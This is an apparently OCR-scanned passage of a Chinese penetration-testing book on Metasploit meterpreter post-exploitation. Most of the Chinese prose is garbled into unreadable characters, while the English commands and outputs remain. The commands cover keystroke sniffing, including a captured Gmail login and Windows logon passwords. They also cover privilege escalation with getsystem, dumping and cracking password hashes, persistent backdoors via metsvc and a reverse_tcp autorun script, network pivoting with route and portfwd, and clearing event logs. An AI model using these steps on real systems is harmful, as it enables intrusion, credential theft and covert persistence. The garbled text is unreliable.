meterpreter b U5 — 44T H 1M 48 iy &, XLy 2 B T2 HARH i gg 456, a]
RT3 4 HAsPLaS 28 T3 LAN B2 M R4, el 7f# 1P #ihkBt. DNS FlJAt
MRAEE, ERATIHRER, XEERAERA M. hEERX CXM B brbLaE AT 76 A 7] 1 4%
FH AL BT S, 7E F 5S4 meterpreter 2% VR ¥ R L £ A
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E&

HE 4 3 AR
F 09 24 XY £ Rl o g — SR AN RS A, 1 T AR R 43 R LB e b ik A RO

.

HRDE— AN 32601 0. 1 Fe4, RI-TK 1P Huhb X4 o8 7 ™ 3548 & Hedb ] 1 8L,

P 2CTEE T AT Bkel & —Bk 1P kb, i OCA RERA TR A IP Huhk.
fE{# ] route iy 21, 2 X 3 PARIE.

EHLH

Meterpreter {075 3 &M 48434 : ipconfig. route 1 portfwd, THPRIE T T .
Ipconfig ip% TR~ HERPL28 P TS TCP/IP WERAC B 150, Al %) HER IP Hoht | filf

' MAC Hihil A1 4 28 HE0S 5545 &

meterpreter > ipconfig

Reliance

Hardware MAC: 00:00:00:00:00:00
IP Address : 115.242.228.85
Netmask : 295.255.255.255

Software Loopback Interface 1
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1

Netmask : 255.0.0.0

MEERATLLFF], ipconfig fir-% H% tH A& T & FiGEL ) TCP/IP Bl .

route 1745 MS DOS H 1] route fiy 2244, H TR E M HFrbL 2% Ak 1P #
PAT Z A2 0] 51 240 g & .

meterpreter > route

Network routes
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Subnet Netmask Gateway
0.0.0.0 0.0.0.0 115.242.228.85
115.242.228.85 255.255.255.255 115.242.228.85
127.0.0.0 255.0.0.0 127.0.0.1
127.0.0.1 255.255.255.255 127.0.0.1
127.255.255.255 255.255.255.255 127.0.0.1
192.168.56.0 255.255.255.0 192.168.56.1
192.168.56.1 255.255.255.255 192.168.56.1
192.168.56.255 255.255.255.255 192.168.56.1
224.0.0.0 240.0.0.0 127.0.0.1
224.0.0.0 240.0.0.0 192.168.56.1
224.0.0.0 240.0.0.0 115.242.228.85
255.255.255.255 255.255.255.255 127.0.0.1
255.255.255.255 255.255.255.255 192.168.56.1
255.255.255.255 255.255.255.255 115.242.228.85

AT route -h 1%, MEAE NG BRI L.

meterpreter > route -h

Usage: route [-h] command [args]
Supported commands:
add [subnet] [netmask] [gateway]
delete [subnet] [netmask] [gateway]

[a]B— T EU A ipconfig - M4, WTLAF B HFREHLLL IP Hubik 115.242.228.85 3%
Internet, AT LAT] ELES n—/N i e BB L BL 115.242.228.85 4 W e xt #h 8, IXHEAE H Fibl 22
ST B K St

meterpreter > route add 192.168.56.2 255.255.255.255 192.168.56.1

Creating route 192.168.56.2/255.255.255.255 -> 192.168.56.1

KA, AT LAER delete -4 MG Hh 3 h B8 BR BN e (.
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)5 — %M 4 a4 portfwd, %4 Hl T H A K TCP 8k UDP & #4e R 2imfE EhLl.
R A BT R i Z A4

Bi%H 3 6N A, B. C, EHLBERME. EHLA FTFEEER LN C ERMNATS,
{E T 5P R RUCVESE B, 1 0L B ol AEESERES AL Co AR N B BAEHE,
EHL A RIREMERERAEBRLS P B, st 140 B sscBl T Q¥R ThfE.

SEI R A5 2k TG Bl : 0L B 8T AN, FTH T iz ENL EXAS TCP Wy 1,
Bidn 20 &0, AL C EBET ARG, H UG 20 S O A EEE RN EE L B,
Rlil, FHLA KIEEIEAR BN B 19 20 5O, 28 s &3 LN C, i EHL B 1
A i A 2 o 0, i g 1) 8 A6 B ML C

EHITE
BSOS TN A R, 2% R I G R AT st

Meterpreter> portfwd -a -L 127.0.0.1 -1 444 -nh 69.54.34.38 -p 3389

HERHEPEGSTSE, —a Z8H TR E O N, -L Z28H T e X490 E i
REARAH) 1P Hbht . d FiXe#idE 0L A FiEST, HFEAE— N B, BT LUX E¥
IP Huhil- i & 4 127.0.0.1.

A B FRE RN A _FRHBeRE DS, HRGZE D H RS ARRERE. -h 23
SEXT EHLC A IP Mk, Blpy 8 2% oAb LA Heht, -p S8R E 2 L C b G EiE
(1 H 3 .

LT A P AR S A RO R R 1R A, X B R B A T IR B KR AN R AR
&=

5.8 getdesktop 5 keystroke iy

ARG 5 g 5 A DT WA OG0 stdapi FH B D a4 o R RO T 2 0
VBRI, (AT, D 20 A SR A AS [ S i BR 2k e PR R AT D) e, AU A
[) () o Bt i st AT 57 Wy .

SHIH
HAEPATLEATTPRMANMHE O e, WF .
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e enumdesktops: iZiy4 H T F1 H BT A AT Uy [ S5 1 30k A0 & 1 35

meterpreter > enumdesktops

Enumerating all accessible desktops

Desktops

Session Station Name

0 WinSta0 Default

0 WinSta0 Disconnect
0 WinStal0 Winlogon

0 SAWinSta SADesktop

MEER 0T LLFE S|, Arfa ol AR S &0 0 #HCERR, &1 0 ACH & SCREE T il
N AR AT 4 .
e getdesktop: %4 F TR [9] meterpreter £ i AT LAF 5L .

meterpreter > getdesktop

Session 0\Service-0x0-3e75\Default

] LK getdesktop #r42F1 enumdesktops @iy 14 45 Al >k, LA 2417 TAEBTE R
[k AT S8 A B R A

o setdesktop: %4 1T 410 1Y) meterpreter 5% [H] 55 24 3] 55— AN 0] i Y S A1 3 .

e keyscan start: %y FH 15 2 G BRI 5 0k A S Bh e A BT W 28 .

e keyscan dump: %4 HT 5 HIHEK meterpreter S [H1 & 15 AL 5% .

T — P X A EREESEf R Pig A, DU R A 5] i S ek A T AR B

BHIE
B4 Windows S [HI — N E 2 & .

Windows 5[ &4 A A E I 21E (session), LAE T2 X5 Windows HlLEsAC B /L.
&6 0 AW RS G, HAMESIE 1. 2152 FR N aERRSTE.
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FTLL, BEXTHPER REHATR AR, AE ST 215 0 FEAT.

£i%0

WinSta0 A Ak

Default ]

Disconnect | &L

Winlogon | &Ll

Service-Ox0-3e7$ | AFZEH K uh

Default ]

Service-Ox0-3e4$ | AE4F 1 i

—i Default ]

——  SAWinSta E 2 A

oot ] 4

B4~ Windows LI 218 B AR G 41A, A B BT LU B 5 246 0 IR &l X
2eyfieh, WinSta0 ZME— KR A, KW /7 A RES WinSta0 31T H.. B HoAth
i AF A UM . WinSta0 {47 Default. Disconnect. Winlogon % 3 N[ 5Lifil. Default
SIS BRATE SR 1R P AT I AT B R ME S5 HEOKHK,  Disconnect SEIHI5 B A (R F P8
SE S 9%, Winlogon 515 Windows & 35 B #: 41 % .

MR R, BNRIEAE A RSN, Frel, MR FEN Default 54T
BEELEIWT, WU S0 O AT meterpreter 7% BRI %1 3% 15 ¥ &y Session 0/WinSta0/Default. 1%
i OIWT o 14, AL Z00RE I BX S 1 S 244 Session 0/WinSta0/Winlogon.

i getdesktop 4R ¥l =4 Jif S 1 .

meterpreter > getdesktop

Session 0O\Service-0x0-3e7S5\Default

MEERTT LI, 2§75 i A7EME 28 B0 S ¥E WinSta0 &, Fril, WS
KHZETRAME TR, BASHIEME . F A a4 0] LLU% 24 a7 £ i v) #e 3
WinSta0\Default.,
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meterpreter > setdesktop
Changed to desktop WinStaO\Default

meterpreter > getdesktop
Session 0\WinStaO\Default

FHf a7 RY, A setdesktop fird, LK AT HHIVIFFIAZ H M) Windows
SR, R e DU T O W TR B bRyLas F T RS sER AR .

meterpreter > keyscan start

Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

gmail.com <Return> daklord <Tab> 123123

WS H AR A C SR, AT DA b7 R T L H R A P EAGE gmail.com FF S Bk
4.

WREDIVT Windows TR O 1% EFFMAE? B, nTLMER] setdesktop iy 4K i B
)44 WinSta0\Winlogon, AidiX B ishig ) —Fr 071, BT B 3] Windows ki iz
ITHIERE, PAT ps 2R AT E T HERE .

MERATLAERF, winlogon.exe LARERE B 41247, JFirfi — MR ID. i winlogon.exe
FIBEFE ID (PID) 2 1180, iEFEH|i% PID JFH KW 4 A& BR &1

meterpreter > migrate 1180

[*] Migrating to 1180...

[*] Migration completed successfully.
meterpreter > getdesktop

Session 0\WinStaO\Winlogon
MERAT LT B, SRS &) h WinSta0\Winlogon, HL{ET] LLIZST keyscan_start
4% Windows &5k bF FEUE TR AL AR 3K .

Fefeidth, ] LG I BB\ S P IE AT AR R R [P B Default 5LH, #10 PID
4 884 ] explorer.exe.
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[*] Migrating to B84...

[*] Migration completed successfully.

meterpreter > getdesktop
Session 0\WinStaO\Default

LRI AFRR T EBBAFREEMLEATGETRAGITOERE. @Y, A82F
SRUTE BRI 1] ELEAT keyscan AN BIMEMETR, X F ) BiniB @ 15 ] fEJR T A
I e ih ek, Brid, SEAT Sl TR i AS e 2 X A~ ] .

5.9 {#H] scraper meterpreter JIHIAS

AT H—ATEER meterpreter A, ZBAS B T35 HARHLES T HIR IR E .
BT F—F PR EM A2 meterpreter B4, FrClX 8 HZMAMANEH. BEMNKT
B, WERT RN X HAavLa8 s BTz, Bixa AE B T A& 4 nf
W E W ORR R, AR HAaPLEE L, HEBRBCLfF Tk, HHEgSR
Al R AT (S B . {8 Scraper BIA AT L) 58 X £e4T- 4% .

E&

scraper A F] T-4240 C B HARHLER KR EAE B, Bl RER. 04 hash . M
205 B, AT LUK IX S84 BORAA7E Mt PLas L.

EAE H meterpreter 7& HFrHLAE 04T Ruby A, BT LU{#E A run @34 . 44T run scraper -h
2 Al ] EAME B A SRl HZ2 8, Tl EERE R T8 BIAH .

EHLI

—&AT S, EWAS BEPATIETA DhfE, JF7E/root/. msfd/logs/scripts/scraper 1] &t
HRAFE S . MARATR TS HIE R, XEFAELGASENLS LT CF
IF P iy 247 4 HH A oD

meterpreter > run scraper

[*] New session on 192.168.56.1:4232...

[*] Gathering basic system information...
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[*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv
passwd _get sam hashes: Operation failed: The parameter is incorrect.

[*] Obtaining the entire registry...

[*] Exporting HKCU

[*] Downlecading HKCU (C:\Users\DARKLORD\AppData\Local\Temp\UKWKdpIb.reqg)

ZBAA B30 F I B AR XK R T ARG R . TR ZEARAS, LAE
PR3 T B T B L

ERTIHE
scraper.rb A () fCAS7E /pentest/exploits/framework3/scripts/meterpreter H % F .

R AR Ruby i S @WBELE, W LgGMZWAI-SMAE CrThte. flm, AT r
MR ARISAT, BAE S SR BT

logs = ::File.join(Msf::Config.log_directory, 'scripts', 'scraper',
host + " " + Time.now.strftime ("%Y%m%d.%M3%5") +sprintf ("%.5d", ra
nd (100000)) )

I SR BRI R SR ER, WIAT AZERR e A s indn AR AT .

::File.open(File.join(logs, "process.txt"), "w") do |fd|
fd.puts (m_exec(client, "tasklist"))

end

MERTTLAFEF], i Ruby &5 WA ER, W] LU 75 SR 2 5 it Z B A4
T B .
|4

WBA 534~ meterpreter JIA 0T LU Tl g H FRHLAE(S B

{# F winenum.rb

winenum.rb J& ¥ ATWAE H ARHLAS(E EIF F R B A HRAF ) meterpreter A, £
AT AR A AT 25k, WSO AR O T B i M B . 1% AT 4% 75 /pentest/exploits/

framework3/scripts/meterpreter/winenum.rb.
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Ja BT — 2534 () Ruby U5, H XS JERX AT ER, SR FEX it r4ie
o, E M AERIFR “Windows Bl K S #0E ” meterpreter A<

A S AT PN 2R 00 2 20 K 35 UL %) Metasploit 7 & FHARRIZRAR, T HIFE X A F A
HHIF .

6.2 Passing the hash

Passing the hash Y hashdump R$57F Windows 3% hash C{F K32 HLE 2. Hashdump
meterpreter A< T] LA H FRAL &% R HEHL 4 hash {8, ### hash SCHFATIREUE 04, M
PAFZBUH P 5 40 G SR R I N () A R 4

b3

B4 T 8 Windows |14l Hofr il kg =K.

{I: Windows & St #0145, Windows #:4E R G52l H i 52 S n = pLik ot 1
SEAT I, e N L kg .

7524248b4d2c9%a%eadd3b435¢c51404ee

FIHGE—BEP AT gl — 14 hash i, H/MAGROSE, BERESHHAC
DINE R LR, ST R A/ SAM U IR TE R 1A 8E4T HLxT .

SAM M RAF A A ML RS (iSRG, WA A KN IKS) 1
FHP 2801 4 hash {H, & SCFAFAif 7E %sy stemroot%system32config .

SR, ‘AL T RAEN, Z 0 aFESH RENKFTE RS Sirdie, —
A% SAM SCHFHET U R S “ ARG kS, ik, ZEIREUO4 hash {8, T ESHTHUR
4% .

SIS, IR 14 hash {H 2 58S TR . Windows F) ] NTLM 224>
PR HEAUESZHF, NTLM 24k 5.1 Windows i H i LM B30 5 4k Bhisl .

SRS AR 114 hash {H, 7 S NTLM/ALM MR, HiEZMARPN TER
X —Thig, ool AR EAR (40 John the riper. pwdump 25T H), b —
e B U %1% (rainbow crack).
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ATV T RN

e Passing the hash;

o {¥HJGE TELLFF AERL,

e {§i meterpreter #4740

o i meterpreter #4745 O A

e Meterpreter API 5 mixins;

i Ruby 4k BUA% ;

e i) Railgun P¥#5 0 DLL 5 R EGE X

o g “Windows P k1 S 3% ” meterpreter A,
o MHTERAT ) meterpreter 4.

e Railgun

6.1 144

e EEd, A1) T2 fE o K meterpreter iy 2. ‘EHEHE T —Fh238 B IR SR 1K)
FHP AL, NEBEN B LR TR ER . #H—F2F, AMUUERATIES
TR E NS, FREBELThREERA. 4.

fEARTE S, WATHENH meterpreter [H—LeiZIhfE. B HAr bk, IATMEH K H 2
Metasploit $2{iE {1 dy & FA, HIEZENRELRE D, AN T ELE meterpreter TPE-INHIA
H T Metasploit K F R BEH T HEZE 45 8, [RIICIR 2 5) R M4 4 .

B e 2E 3] — SR L 1Y) meterpreter LhfiE, i passing the hash. #1 & 3 DK%, RS
- EFEIT K meterpreter A, A AP IR ACTERINE, EEETE T AR Ruby 13,
XPEA B T E P meterpreter A . AT 1L, BAENMHE - HIERFK T RS, K
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BT

MG EK ) meterpreter 215146, € Sk Ih LB H s I Bidii3i#E, 3R T
meterpreter 2. AJZH % 4 FELLT S £ A KKK Windows HLAFAI4H 17 . Hashdump J
A (R AR 6T SR (8. B SER A e B RIS AR . AU 423, EHRHO4 hash 3
, DLHHERGHMIE. EH getuid dn23KF M AIAUR 2R, {FH] getsystem dr 4, T+
BLRR .

meterpreter > getuid

Server username: DARKLORD-PC\DARKLORD

meterpreter > getsystem

...got system (via technigue 4).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

BRI
IAE O R HARHLE LIORGEMR, Tl 2248 hashdump %

meterpreter > run hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY
78e1241e98c23002bcB85£d9%4c146309d. ..

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31décfeld]l6ae931b73¢c59
d7e0c0B9c0:::

Guest:501:aad3bd435b51404eeaad3bd35b51404ee:31dbcfeldlfae®931b73c59d7e0c08
O9cQ:::

DARKLORD:1000:aad3b435b51404eecaad3bd35b51404ee: 3dbdes87d471690a769204b
ebl2283678:::
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MG RATLAE D], ZHATL N SAM U DR EL T 14 hash {H. # FRATEH
AR T LSk W %1% hash fi, i % 48 1 () T _E 4935 John the riper. rainbow crack ¥ .

| F
FIEE — F #5114 hash {8 1) HAh 732 .

ELOSRE

I % http://www.mdSdecrypter.co.uk/, A #g X} NTLM/LM hash {HIEL B H . H TAE
PLEESE, 5 H 424849 104 hash {H5 HPE K FilE X hash {8 $E FEEATUCAC . X2 —#F
AR B A PuE AR EEAR . FEER T A LR MG 4 hash {31770 260 %
ESE O

I RATLUAE], HEAEH 04 hash (i, DARBMMMITAT, ik 123,

TEERARL, R O WA HOR 52 MO T 114 1 5 I03RIE, W30 014 RO B L
ROABRHAE, B HLERHRE RS A0SR hash . FTLL, AT DL REAEF
T RALIIRMN OO, IR T B8 X TR,

http://bernardodamele.blogspot.in/#!http://bernardodamele.blogspot.com/2
011/12/dump-windows-password-hashes.html.

6.3 {EHUGT VL ReAETE

AP NFIEENT BTG oHE, ERXEMNLEE BBEREAR, RiGhHBEN B
W B HARpLas AN RIEOR, 2 )5 & — 24 FRIFE S0 H b e (I R 2 BB Bt .
RAEEN AR RERANEERAR, W IXFEOR 5 HErPLAS R VR A ERE, LUME R4
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TAEPARE G T . NEGEET S, BV R—RAELMTT A, Bk, fEHR
HLAS F VB )G [T LU LR AE 2 b B AT 2

-3

Meterpreter $&41t T PNE HFrpLas i B ST 1A, 22502 Metsve Fil Persistence. iX
AR TAE 7 R, FiimE i ire.

o XA AART & B AT R o £ ) A 5| KBS A A
S

EHH

Metsve A IE L 7E H prblas Eo) 2 im e SCfF3EfT T/EM), #lin DLL. J51]R% 28
MRS E, ZHALESRS— I RENZELHERFBIRFERE], -A SHTHT
SCHLThAE. R BATE Windows 7 H#r#L2% iz T Z A A, I3 K ik
0T .

meterpreter > run metsve -h
OPTIONS:

-A Automatically start a matching multi/handler to connect to
the service

-h This help menu

-r Uninstall an existing Meterpreter service (files must be
deleted manually)

meterpreter > run metsve -A

[*] Creating a meterpreter service on port 31337

[*] Creating a temporary installation directory C:\Users\DARKLORD\
AppData\Local\Temp\ygLFhIFX...

[*] >> Uploading metsrv.dll...

[*] >> Uploading metsvc-server.exe...

[*] >> Uploading metsvc.exe...

[*] Starting the service...
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* Installing service metsvc

* Starting service

Service metsvc successfully installed.

JET IR Sh bAR )G, S BshEESR] 31337 b DR ZIELHERF, AT URHEAMIRE
PR ERR T HFRLAS .

Persistence AR S — M HHEETTHA, HTEHRE Metsve E{UL, {HHE & L0
ShEIThEE, EltnERRE. REBHINEE,. AshET%. FEE— FiZHARENARE

TETH o

meterpreter > run persistence -h

Meterpreter Script for creating a persistent backdoor on a target host

QPTIONS:

=L <opt>

-P <opt>

-T <opt>

-i <opt>
-p <opt>
-r <opt>

Automatically start a matching multi/handler to..
Location in target host where to write payload to..
Payload to use, default is

Automatically start the agent on boot as a service
Alternate executable template toc use

Automatically start the agent when the User logs on
Automatically start the agent when the system boots
This help menu

The interval in seconds between each connection

The port on the remote host where Metasploit..

The IP of the system running Metasploit listening..

MEERATLLER], 2B ARG T 15 Metsve BIA B MEM. FEPATZEA, FHR
i T BB A RS

meterpreter > run persistence -A -5 -U -i 60 -p 4321 -r 192.168.56.101

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf4/logs/persistence/
DARKLORD-PC 20111227.0307/DARKLORD-PC_20111227.0307.rc

[*] Creating Payload=windows/meterpreter/reverse tcp LHOST=192.168.56.101

LPORT=4321
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[*] Persistent agent script is 610795 bytes long

[+] Persistent Script written to C:\Users\DARKLORD\AppData\Local\Temp\
LHGtjzB.vbs

[*] Starting connection handler at port 4321 for windows/meterpreter/
reverse_tcp

[+] Multi/Handler started!

[*] Executing script C:\Users\DARKLORD\AppData\Local\Temp\LHGt]jzB.vbs
[+] Agent executed with PID 5712

[*] Installing into autorun as HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\DBDalcOoYlqgJdSi

[+] Installed into autorun as HKCU\Software\Microsoft\Windows)\
CurrentVersion\Run\DBDalcQOocYlqJSi

[*] Installing as service..

[*] Creating service cpvPbOfX]

BRI

FREZHAEENARSE, Kb, -A SEATEIGEAHLE L3 Esh ViR,
-S ZHARR G T TREIF SR A Windows RGN INEL, -U ZHERR-METNEFREN
P R RN BEAT, -i 80T RE )G TR EDER O A B 7 1 i (A R B&, -p
SRR S, - ZHOEHARPLEE IP bk AT S O PR d T g S
B AR TR GG T BRI BIESCH, £ HRHLAE temp SCAFR TR T vbs
X, sEsh, GMASEEEMRPORET 1 %H, LMELE Windows RERFIKIE BT H3h
a1 .

R e T RE e 0 2ACEE AL PR Py (B ) ) e 2 B 60 #2, BIHAT IZIA 5, "TLLE
P50 60 ¥0,  HFsHLEERE H 3037 I meterpreter 21

AFNAATEFES HbrVL SR LR AER, EEUAEARGSR T 23 4 XM
AMEA, FAHTAESRET . £ 709, BAVERE D — 1A BAHE®RS.

6.4 {#H meterpreter ¥4 1¥hiE

FIHACE, BAIEAHH T EEE meterpreter fr 2 FIHA, EHFHWOLINRB], 75
BEH B meterpreter DIFERISRK. 150 T IR P IERLL S0, SR )54 Metasploit HE
REFHTHRE.
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&

B SER AR REBEAT VEAN M 12 . 0 R ARV BN 53 F ] C Bhe 2 Gond [R] — ™ B py LA
REMATHR M7, X2 REREGE, EidXAEG, w7 e R A T
A FH A P £ X 38 (5101 intranet), Q1°F B AR 35 5 .

B ) R 5

Fr>SMIL—m

iR 7% 4%

Wit n] LLAE TR H AR 2R B2 3 Internet AR 5, X6 SUER R B k8%, B
KB G R Z R L EARSSAS . Bl E AR BT ] AR & 4%, (Ha] LA A X s b 45 4
VE RS SRy 0] AR 588 . I SR 3 e Th Hb ML B A0 30T i, T DA 4 3k 4T a0k — 20 Hhig
i%, HFAEAMRS . X2 M RBKHR RS, LEP RO LR R RN
Rl 55 8 2 1A) e LR Y R L 0 RE R BR AR . AT VB IR AR e, 2 A B B
TP 23 [ — 4 meterpreter M54 .

EHH
NI FEFEEH meterpreter SEHL R 15 5.

FEARGI,  HART SUREC ) Windows 7 HLa%, HR45-2$iZ4T7E Windows 2003 #123% |-
fi s EL28 0l I 25 i W 28 TR B Windows 7 HLA$, I S5 H & T WK meterpreter i
$. FHELE PR 5 LIEAT ipeonfig f4, HIL LA MRLEE] 80,

meterpreter > ipconfig
Interface 1

Hardware MAC: 00:00:00:00:00:00
IP Address: 10.0.2.15
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Netmask : 255.255.255.0

VirtualBox Host-Only Ethernet Adapter
Hardware MAC: 08:00:27:00:8c:6c

IP Address : 192.16B8.56.1

Netmask : 255.255.255.0

MERATLAES], HARW RSO, — 2 192.168.56.1, F T 3%E# Internet;
A2 100215, HTERBINFHMNEE. BT RERAM M NI LIbh RS, 0]
{# F meterpreter J 4 1 () arp_scanner, iZBIAT X} A &8 R4 HEAT ARP 5148 LU At m]
M R%.

meterpreter > run arp_scanner -r 10.0.2.1/24

[*] ARP Scanning 10.0.2.1/24
[*] IP: 10.0.2.7 MAC B:26:18:41:fb:33
(*] IP: 10.0.2.9 MAC 41:41:41:41:41:41

MEERATLLED], ZHA L h & T ZMEB N AN A 1P Muhl, Fxfs—4
IP bk AT40 .

EHIE

LR 1P HihEO 10.0.2.7 BN FERSS 48, A2 TP Hikikoh 10.0.2.15 /) H bW 24T
At t, Akrl LAEM route fn4, ATHIZEYT W iz 20 H . BEHEHZH2,
i & SE1E 24 A meterpreter 2 1% 44T background fip4>.

meterpreter > background

msf expleoit(handler) > route add 10.0.2.15 255.255.255.0 1
[*] Route added
msf exploit(handler) > route print

Active Routing Table

N Y T T S R S g e e e e e e
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Subnet Netmask Gateway

10.0.2.15 255.255.255.0 Session 1

W% route 2P HSE, Hh, add ZHH T HRPBRMMHXAZE, ZEEHR
A FNBRIA S TP Hhhik, B/ 2K meterpreter £ ID (CGHHTJE 1), {#H route print #r4
F3Eg e, PTLUEMTHIE R, 28 AR L8 KX i BT A7 il LS HH 7 BX meterpreter session 1 5E
i

ZFRXS 1P #uhk 10.0.2.7 #8E478 D44, ZMbkZ fTRARTER), HIEE HER
FAEATRE I BI AT SE B . 45 AT ORI T2 IR 55 2% L0 80w D AR %5, #ie ok Windows
2003 R85, TTLMER exploit/windows/smb/ms08 067 netapi I i) FH 415 8 fih it 45
VE R 8 1)U A A AR BB % AR 55 8%, sl i) JLAR O R 45

6.5 ¥l meterpreter #4111 565

i 29 3 VB A Ak et R R A E ). ARSI R LS, MHE
B FH S 1 e BB AR B A R MBGE JT HLA%,  FFER el H AR ml R B P S 4% IR 45 2%
XL SRR U, AT B A O 2 e A B AR Vs Tl AR R g5 A% BB SR RS, (HIR T
T HAT WA 8E, WIT R 45612 AT Z 1 R UF B A F bR .

3

M iR S, CELWME T Windows 7 HEsYW A, HHEHBRNMTEROGE, B
W28 | A3 ) B AT Hodis A A0IE i meterpreter 251G THEI%. FlF — T EHE.

msf exploit(handler) > route print

Active Routing Table

10.0.2.15 255.255.255.0 Session 1

MERATUES], BMEARPOLWE T iwm D AEZNN, 7] UK B 8 % 31 i iR
%o o
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R

(B A R 55 AR-AE 80 dig A2 AT web R 45, BUAE 75 Z2 A FH 3wy 1 % SR A 0] JLREAT Vg i)
AT EAE portfwd fiv®. FHISEHE — F iz &AWL FIEIN, Z J5&8AHKAE.

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

-L <opt> The local host to listen on (optional).
-h Help banner.

-1 <opt> The local port to listen on.

-p <opt> The remote port to connect to.

-r <opt> The remote host to connect to.
meterpreter > portfwd add -1 4321 -p 80 -r 10.0.2.7

[*] Local TCP relay created: 0.0.0.0:4321 <-> 10.0.2.7:80
IHPAT Z 25, TEBGE LA A N SR S5 4% 2 (e V0l TCP v, Hdihy
BLas ERO T 35 0k 4321, B ] (9 IR 558 o FH P9 30 R 45 4% L1 80 % 11,

WEIFMHRL )G, B O AIENBGERE N S Z2EHK . fltn, o smit
P YLAS VT ) NI AR 452, AT CAZERBREAS FRAT N http://10.0.2.7:80, )5 ¥ ELEERIA PN 3 M 4%
/Y intranet %% .

{E 5 ZHZAT Metasploit RIZPEM dr-& AN FIRLFFIT, AT F Ao O R BR, FIRZEAR
A LA SE AR 0 5E AT 55

rings R R S L R A Aol R, RATKE A Hilid Ruby BF TR
meterpreter I 4< .
EBHTE

Uiy VR RO R B — AT B, RS 22 4 A B R 4 RS2 PR AR 45, IX - 2R
FHAUE IS ) BT 5 ) 3R S/ AR AE AN R A MR R I e 2 M SR AT o 7658 1 FEchist
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WTEERIPL |8 37 Metasploit I8 PuTTY 5 BN ER{E RG @ iERR, 80 X —
M. -

PH % 2 0 11
6667 Wihm
—_— il IRC it % 2%
6667
———> FLEE "o
A b 4L
w1234
| 1 |
| | |
' i <k Sl
BH ) e 0
6667 il '
IRC iR # 7%
—» {o] e i Wi 6667

B LA AN e R T s B R R . AN LA U E T AE 6667 Y Y
IRC R4 2%, {HBH kESZERCE B IEAP PR XT 6667 Wi U7 i) (EPRIZIL), ik, 4b
SRR BB ATLE 22 WY SSH R428 (Fltn{E ] PuTTY ). WHREH KEEAPH 1EIX—%
B, HMERHLBSEE gt T B ks, JFRTLAURIE 22 ¥ E13] 6667 i ) 1 A SEHLAT IRC
ARG 2805 Ia], Mg BT — 4R I R Ui i PEiE (B IR .

6.6 Meterpreter API 55 mixins

7 FEh, 3RA11) 2 M2 2] T SRR meterpreter UG B EMN B T RV T A . meterpreter
iIFBEESEEERE RS . WA, BAEER —PiHE 25 meterpreter K1)
S . IRAE] Metasploit 4%, FLf# meterpreter A TAENLEE & EFEHIEE meterpreter
A,

MIEE AN B R, RSP Sl AR EER, Pl ERATRE
T4, {H meterpreter A5 WAL LLSERE, fEIXFREOL T, WREFEN A G e 77 2=
R AR BAREE, §5al LR TS . A9, Bl 1H178 meterpreter API S 31
th— S HH ) mixins, JGHEIMFETSUIHENSRS B AN meterpreter JIA .
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E&

e ERR S R R B O M AR, meterpreter API KFHEE/E . T 8A
Metasploit HE 42 J& K F Ruby & & %5 KK, %42 Ruby FF 8ot nl BLUSE 4f M 856 {3 H
Metasploit AT EMIAM T FL . J5 K2 & Ruby BIAR KA, FEbEEiEs A
& —5E 9 Ruby FLAERHHAIIR. BI{E A% Ruby s E0AbAE 5 MOSEAKHR, LHB T
T stef R S g 2 (1 B

THRHULES T vAMEA http://www.packtpub.com Lt &)K5 T
3 | LM E A Packt H 4869 =BG, o R AP AL AHT WK,
T A1 ¥ http://www.packtpub.com/support @ & #EATiE M, VA& F o5

A AT ARG LA

B

B 4e7E meterpreter i3 )48 H.30[K) Ruby shell, B 2 2h21E Windows 7 HArPLES
HE L TE L) meterpreter 231 .

Al LL{# A irb %74 i 3l Ruby shell.

metefpreter > irb
[*] Starting IRB shell

[*] The 'client' wvariable holds the meterpreter client

HAE L2240 T Ruby shell #1355 F, 7] LASAAT Ruby BIAS, T 1l 2 i 1) L A6 3 A R
A

=> 242

M R PATIE B RT A, 24T Ruby shell TAERZAIER, W LK Ruby iA)ZE4T IE
WafeRE . BRAEPAT A RAE, GUEE hash R, JFAEHPAAAEEAAREE, MR)5HHE 210 R
FHNAE, BARELT IR
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¥ o= { I'Ial'l ¢> 1DU’ 'I!bll =} 2[:] }
X.delete if { |key, value| wvalue < 25 }

print x.inspect

ZHARE, 5 THK. B ATRREET key (a flb), #i’gﬁﬁfﬁ B ATRARE
nT #EERM, BRIBER AR /T 25 ) hash.

TR S AT ENRE R APT A, 1X1e API 7E4% 5 meterpreter [l 4 i % 44
EEH .

print_line("message"): % API il HIKF 4T ENSa HHAHC A 2%, FFTEE R E In— B ZE#47 .

print_status("message"): % APl i FHTEMATE 5 PAER SRS, 17 58 Bl E81T,
FHATEDH AT AT A B ARE (LI585,

>> print_status ("HackingAlert")
[*] HackingAlert

=> nil

print_good("message"): % API i T R EEBIEM S R, LN AL+,
e ERAE R T

>> print good("HackingAlert")
[+] HackingAlert

=> nil

print_error("message"): 1% API Vil Al T R BIAHAT A I RO RS RIE,  HFCA- AR

>> print error ("HackingAlert")
[-] HackingAlert
=> nil

Z AT AR IX AN E] 4T ED APL A, XL APL ] ZNH T4%4S meterpreter
BIA R &Rt . 5 meterpreter API AHOCHISCR %KL, I LL7E/opt/framework3/msf3/
documentation Fsx4R2|, I LR, DX APL 1 V4 M H#Ef% . /opt/framework3/
msf3/lib/rex/post/meterpreter H & & T 1R £ 55 meterpreter API AH 3G [ B4

XA S T B R % meterpreter #Lr IR H. HAEENELHHGY. &
FXSCIA, A5 Bh T R A 4R meterpreter 7E T UM H AR N A B e R .
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Meterpreter mixins

Meterpreter mixins /& Metasploit 4% 52 1] irb W . XA LE irb PARH, HAES
5 meterpreter [l A R] ] T 5¢ sl WL HAESy, AT R 4L 5€ meterpreter A ()4 5 (£ 55 .
T4 24 H ) mixins.

emd exec(emd): CABRBURI{EIEAL A PAT L, drd it LL2T AR B RE R,

eventlog clear(evt=""): {ERAEM FMHHE, MEABRELENERFIAHEAHE, HF
JB [P 48 7 BR S H B4 K.

eventlog list(): #2554 H IR [P 94F H S 2 FR5 %K.

